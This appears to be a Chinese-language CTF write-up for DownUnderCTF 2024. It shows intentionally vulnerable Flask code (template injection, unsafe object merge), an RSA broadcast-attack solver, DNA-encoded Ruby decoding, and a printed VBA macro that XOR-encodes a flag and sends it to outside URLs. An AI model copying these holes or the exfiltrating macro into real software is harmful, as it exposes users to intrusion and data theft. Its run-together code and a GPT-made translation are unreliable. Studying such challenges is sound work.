if request.method == 'POST': user_input = request.form.get('user_input') try: result = render_template_string(user_input) except Exception as e: result = str(e)
@app.route("/save_feedback", methods=["POST"]) @login_required defsave_feedback(): data = json.loads(request.data) feedback = Feedback() # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object. merge(data, feedback) save_feedback_to_disk(feedback) return jsonify({"success": "true"}), 200
@app.route("/get_flag") @login_required defget_flag(): if flag == "true": return"DUCTF{NOT_THE_REAL_FLAG}" else: return"Nope"
from functools import reduce from Crypto.Util.number import * import gmpy2 for i inrange(1500): if i % 3 == 2and i % 5 == 4and i % 7 == 5: print(i) # i=1034满足题目条件 e = 3 c_1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637 c_2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737 c_3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659 n_1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693 n_2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403 n_3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817 n_list = [n_1, n_2, n_3] c_list = [c_1, c_2, c_3] defchinese_remainder(n, a): sum = 0 prod = reduce(lambda a, b: a * b, n)
for n_i, a_i inzip(n, a): p = prod // n_i sum += a_i * inverse(p, n_i) * p returnint(sum % prod) ans = chinese_remainder(n_list, c_list) ans = gmpy2.iroot(ans, e)[0] print(long_to_bytes(ans))
$code = "" Object.instance_eval do defconst_missing(s); $code << s.to_s; 0; end remove_const(:GC) # Holy moly! end at_exit do dict = { "AT"=>"00", "CG"=>"01", "GC"=>"10", "TA"=>"11" } eval([$code.gsub(/../) {|s| dict[s] }].pack("b*")) end
defdoublehelix(src) dict = { "00"=>["A","T"], "01"=>["C","G"], "10"=>["G","C"], "11"=>["T","A"] } format = [[1,0], [0,2], [0,3], [0,4], [1,4], [2,4], [3,3], [4,2], [5,0]] format += format.reverse %(require "doublehelix"\n\n) + src.unpack("b*").first.gsub(/../) do |s| format << (offset, dist = format.shift) " " * offset + dict[s] * ("-" * dist) + "\n" end end
又一次见到了DNA序列,但是并没有想象中这么好处理……
pos = [[1, 2], [0, 3], [0, 4], [0, 5], [1, 6], [2, 7], [3, 7], [4, 7], [5, 6]] pos = pos + list(reversed(pos)) d0 = { 'A': 0, 'C': 2, 'G': 1, 'T': 3, } d1 = { 'T': 0, 'G': 2, 'C': 1, 'A': 3, } withopen('dna.rb') as f: next(f) next(f) val = [0] i = 0 for line in f: if line[pos[i % len(pos)][0]] in'ACGT': for j inrange(len(val)): val[j] += d0[line[pos[i % len(pos)][0]]] * 4 ** (i % 4) elif line[pos[i % len(pos)][1]] in'ACGT': for j inrange(len(val)): val[j] += d1[line[pos[i % len(pos)][1]]] * 4 ** (i % 4) else: newval = [] for j inrange(len(val)): for k inrange(4): newval.append(val[j] + k * 4 ** (i % 4)) val = newval i += 1 if i % 4 == 0: a = [] for c in val: if33 <= c <= 126: a.append(chr(c)) iflen(a) == 1: print(a[0], end='') else: print(f"{{{','.join(a)}}}", end='') val = [0]
来自https://ouuan.moe/post/2024/07/ductf-2024#misc puts"DUCTF{7H3_Mit0{c,g,k,o}HOn{d,e,f,g}Ri4{O,_,/,o,?}15{O,_,o}7he_P0wEr_HoU{p,q,r,s}E_of{O,_,o}DA_C3LL}"
后面就是填字游戏了the mitochondria is the power house of da cell DUCTF{7H3_Mit0cHOndRi4_15_7he_P0wEr_HoUsE_of_DA_C3LL}
后面跟虾饺的wp又看了看
import re defget_part(a): if a == "A": return"T" if a == "T": return"A" if a == "G": return"C" if a == "C": return"G" defdecode(choice): dict = {"AT": "00", "CG": "01", "GC": "10", "TA": "11"} withopen("dna.rb", 'r')as f: a = f.readline() a = f.readline() a = f.readline() b = '' c = '' while a != "": a = a[:-1] iflen(a.replace('-', '').replace(' ', '')) == 0: b += list(dict.values())[choice] else: iflen(a.replace('-', '').replace(' ', '')) == 1: if a[-1] == " ": a += get_part(a.strip()[0]) else: a = get_part(a.strip()[-1])+a b += dict[a.replace('-', '').replace(' ', '')] iflen(b) == 8: c += chr(int(b[::-1], 2)) b = '' a = f.readline() return c for i inrange(4): print(decode(i))
puts"DUCTF{7H3_Mit0 c HOn d Ri4 15 O 7he_P0wEr_HoU p E_of O DA_C3L}" puts"DUCTF{7H3_Mit0 k HOn f Ri4 ¯ 15 o 7he_P0wEr_HoU r E_of o DA_C3L}" puts"DUCTF{7H3_Mit0 g HOn e Ri4 _ 15 _ 7he_P0wEr_HoU q E_of _ DA_C3LL}" puts"DUCTF{7H3_Mit0 o HOn g Ri4 ÿ 15 7he_P0wEr_HoU s E_of DA_C3LÌ}"
python oledump.py Monke.xlsm A: xl/vbaProject.bin A1: 515'PROJECT' A2: 107'PROJECTwm' A3: M 24526'VBA/Module1' A4: m 1158'VBA/Sheet1' A5: m 985'VBA/Sheet2' A6: m 1158'VBA/ThisWorkbook' A7: 4438'VBA/_VBA_PROJECT' A8: 3276'VBA/__SRP_0' A9: 239'VBA/__SRP_1' A10:434'VBA/__SRP_2' A11:3988'VBA/__SRP_3' A12:384'VBA/__SRP_4' A13:66'VBA/__SRP_5' A14:276'VBA/__SRP_6' A15:66'VBA/__SRP_7' A16:602'VBA/dir'
解压缩VBA宏,去除一些不相关代码
python oledump.py -s A3 -v Monke.xlsm
Attribute VB_Name = "Module1"
' Totally Not Malware ' Try Harder ' Are you Monkey Enough!
PublicFunction anotherThing(B AsString, C AsString) AsString Dim I AsLong Dim A AsString For I = 1To Len(B) A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1))) Next I anotherThing = A EndFunction
' Do you even Excel!
PublicFunction importantThing() Dim tempString AsString Dim tempInteger AsInteger Dim I AsInteger Dim J AsInteger For I = 1To5 Cells(I, 2).Value = WorksheetFunction.RandBetween(0, 1000) Next I For I = 1To5 For J = I + 1To5 If Cells(J, 2).Value < Cells(I, 2).Value Then tempString = Cells(I, 1).Value Cells(I, 1).Value = Cells(J, 1).Value Cells(J, 1).Value = tempString tempInteger = Cells(I, 2).Value Cells(I, 2).Value = Cells(J, 2).Value Cells(J, 2).Value = tempInteger EndIf Next J Next I EndFunction
PublicFunction totalyFine(A AsString) AsString Dim B AsString B = Replace(A, " ", "-") totalyFine = B EndFunction
' Do you even Excel!
Sub macro1() Dim Path AsString Dim wb As Workbook Dim A AsString Dim B AsString Dim C AsString Dim D AsString Dim E AsString Dim F AsString Dim G AsString Dim H AsString Dim J AsString Dim K AsString Dim L AsString Dim M AsString Dim N AsString Dim O AsString Dim P AsString Dim Q AsString Dim R AsString Dim S AsString Dim T AsString Dim U AsString Dim V AsString Dim W AsString Dim X AsString Dim Y AsString Dim Z AsString Dim I AsLong N = importantThing() K = "Yes" S = "Mon" U = forensics(K) V = totalyFine(U) D = "Ma" J = "https://play.duc.tf/" + V superThing (J) J = "http://flag.com/" superThing (J) G = "key" J = "http://play.duc.tf/" superThing (J) J = "http://en.wikipedia.org/wiki/Emu_War" superThing (J) N = importantThing() Path = ThisWorkbook.Path & "\flag.xlsx" Set wb = Workbooks.Open(Path) Dim valueA1 As Variant valueA1 = wb.Sheets(1).Range("A1").Value MsgBox valueA1 wb.Close SaveChanges:=False F = "gic" N = importantThing() Q = "Flag: " & valueA1 H = "Try Harder" U = forensics(H) V = totalyFine(U) J = "http://downunderctf.com/" + V superThing (J) W = S + G + D + F O = doThing(Q, W) M = anotherThing(O, W) A = something(O) Z = forensics(O) N = importantThing() P = "Pterodactyl" U = forensics(P) V = totalyFine(U) J = "http://play.duc.tf/" + V superThing (J) T = totalyFine(Z) MsgBox T J = "http://downunderctf.com/" + T superThing (J) N = importantThing() E = "Forensics" U = forensics(E) V = totalyFine(U) J = "http://play.duc.tf/" + V superThing (J)
EndSub
PublicFunction doThing(B AsString, C AsString) AsString Dim I AsLong Dim A AsString For I = 1To Len(B) A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1))) Next I doThing = A EndFunction
' Think of the emus!
PublicFunction superThing(ByVal A AsString) AsString With CreateObject("MSXML2.ServerXMLHTTP.6.0") .Open "GET", A, False .Send superThing = StrConv(.responseBody, vbUnicode) EndWith EndFunction
' Do you even Excel! ' Try Harder
PublicFunction something(B AsString) AsString Dim I AsLong Dim A AsString For I = 1To Len(inputText) A = A & WorksheetFunction.Dec2Bin(Asc(Mid(B, I, 1))) Next I something = A EndFunction
' Totally Not Malware
PublicFunction forensics(B AsString) AsString Dim A() AsByte Dim I AsInteger Dim C AsString A = StrConv(B, vbFromUnicode) For I = LBound(A) To UBound(A) C = C & CStr(A(I)) & " " Next I C = Trim(C) forensics = C EndFunction
其他的
gpt帮我转换的python代码,貌似用处不大,能勉强看懂一些VB
import os import random import requests import pandas as pd from Crypto.Cipher import XOR from Crypto.Util.Padding import pad, unpad
# Function to emulate the 'anotherThing' VBA function defanother_thing(b, c): cipher = XOR.new(bytes.fromhex(c)) returnbytes.decode(cipher.decrypt(pad(b.encode(), 16)))
# Function to emulate the 'importantThing' VBA function defimportant_thing(): df = pd.DataFrame({ 'Value': random.randint(0, 1000) for _ inrange(5) }, columns=['Value']) df.sort_values(by='Value', ascending=False, inplace=True) return df.iloc[0, 0]
# Function to emulate the 'totalyFine' VBA function deftotaly_fine(a): return a.replace(" ", "-")
# Function to emulate the 'superThing' VBA function defsuper_thing(a): response = requests.get(a) return response.text
# Function to emulate the 'doThing' VBA function defdo_thing(b, c): cipher = XOR.new(bytes.fromhex(c)) returnbytes.decode(cipher.decrypt(pad(b.encode(), 16)))
# Function to emulate the 'something' VBA function defsomething(b): return''.join(format(ord(i), '08b') for i in b)
# Function to emulate the 'forensics' VBA function defforensics(b): return' '.join(str(i) for i inbytearray(b, 'utf-8'))
# Emulate the 'macro1' VBA sub defmacro1(): # ... (code to create a Excel file and perform operations similar to VBA macro) pass
# You would call the 'macro1' function here or integrate it into your application as needed. # macro1()
分析宏代码,不难发现是异或
W = S + G + D + F O = doThing(Q, W) M = anotherThing(O, W)
{"username": "jooospeh", "password": "n3v3r-g0nna-g1v3-th3-b1rds-up"}
登陆之后发现Subject 0 does not have permissions to view this flag.
应该是考察jwt伪造这东西了
没有cookie值,但在这里拿到了token